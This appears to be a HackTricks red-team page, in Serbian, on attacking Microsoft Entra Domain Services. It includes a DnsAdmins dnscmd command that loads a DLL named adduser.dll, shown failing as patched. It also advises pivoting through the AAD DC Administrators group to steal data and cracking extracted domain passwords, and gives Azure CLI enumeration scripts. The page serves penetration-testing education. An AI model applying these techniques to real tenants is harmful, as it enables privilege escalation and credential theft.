Az - Microsoft Entra Domain Services

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Domain Services

Microsoft Entra Domain Services omogućava postavljanje Active Directory-a u Azure bez potrebe za upravljanjem Domain Controllers (zapravo, nemate čak ni pristup njima).

Njegov glavni cilj je da vam omogući pokretanje nasleđenih aplikacija u oblaku koje ne mogu koristiti moderne metode autentifikacije, ili gde ne želite da pretrage direktorijuma uvek idu nazad na on-premises AD DS okruženje.

Napomena: da biste sinhronizovali korisnike generisane u Entra ID (i ne sinhronizovane iz drugih aktivnih direktorijuma) sa AD domen servisom, potrebno je da promenite lozinku korisnika na novu kako bi mogla biti sinhronizovana sa novim AD. Zapravo, korisnik se ne sinhronizuje iz Microsoft Entra ID u Domain Services dok se lozinka ne promeni.

warning

Čak i ako kreirate novu aktivnu direktorijumsku domenu, nećete moći da je potpuno upravljate (osim ako ne iskoristite neke pogrešne konfiguracije), što znači da po defaultu, na primer, ne možete direktno kreirati korisnike u AD. Kreirate ih sinhronizovanjem korisnika iz Entra ID. Možete odabrati da sinhronizujete sve korisnike (čak i one sinhronizovane iz drugih on-premise AD-ova), samo cloud korisnike (korisnike kreirane u Entra ID), ili čak da ih dodatno filtrirate.

note

Uopšteno, zbog nedostatka fleksibilnosti u konfiguraciji nove domene i činjenice da su AD obično već on-premise, ovo nije glavna integracija između Entra ID i AD, ali je i dalje zanimljivo znati kako ga kompromitovati.

Pivoting

Članovi generisane AAD DC Administrators grupe imaju lokalne administratorske dozvole na VM-ovima koji su pridruženi upravljanoj domeni (ali ne i na domain controllers) jer su dodati u lokalnu grupu administratora. Članovi ove grupe takođe mogu koristiti Remote Desktop za daljinsko povezivanje na domain-joined VM-ove, i takođe su članovi grupa:

  • Denied RODC Password Replication Group: Ovo je grupa koja specificira korisnike i grupe čije lozinke ne mogu biti keširane na RODC-ima (Read-Only Domain Controllers).
  • Group Policy Creators Owners: Ova grupa omogućava članovima da kreiraju Group Policies u domenu. Međutim, njeni članovi ne mogu primeniti grupne politike na korisnike ili grupe ili uređivati postojeće GPO-ove, tako da nije toliko zanimljivo u ovom okruženju.
  • DnsAdmins: Ova grupa omogućava upravljanje DNS podešavanjima i zloupotrebljena je u prošlosti da poveća privilegije i kompromituje domen, međutim nakon testiranja napada u ovom okruženju provereno je da je ranjivost zakrpljena:
text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Napomena da se za dodeljivanje ovih dozvola, unutar AD-a grupa AAD DC Administrators postavlja kao član prethodnih grupa, a takođe GPO AADDC Computers GPO dodaje kao lokalne administratore sve članove domena grupe AAD DC Administrators.

Prebacivanje sa Entra ID na AD kreiran sa Domain Services je jednostavno, samo dodajte korisnika u grupu AAD DC Administrators, pristupite putem RDP-a bilo kojoj/svim mašinama u domenu i moći ćete da ukradete podatke i takođe kompromitujete domen.

Međutim, prebacivanje sa domena na Entra ID nije tako lako jer se ništa iz domena ne sinhronizuje u Entra ID. Ipak, uvek proverite metapodatke za sve VM-ove pridružene, jer njihove dodeljene upravljane identitete mogu imati zanimljive dozvole. Takođe izvucite sve lozinke korisnika iz domena i pokušajte da ih provalite kako biste se zatim prijavili u Entra ID / Azure.

note

Napomena da su u prošlosti pronađene druge ranjivosti u ovom upravljanom AD-u koje su omogućile kompromitovanje DC-ova, kao što je ova. Napadač koji kompromituje DC mogao bi vrlo lako održati postojanost bez da Azure administratori primete ili čak budu u mogućnosti da je uklone.

Enumeracija

bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks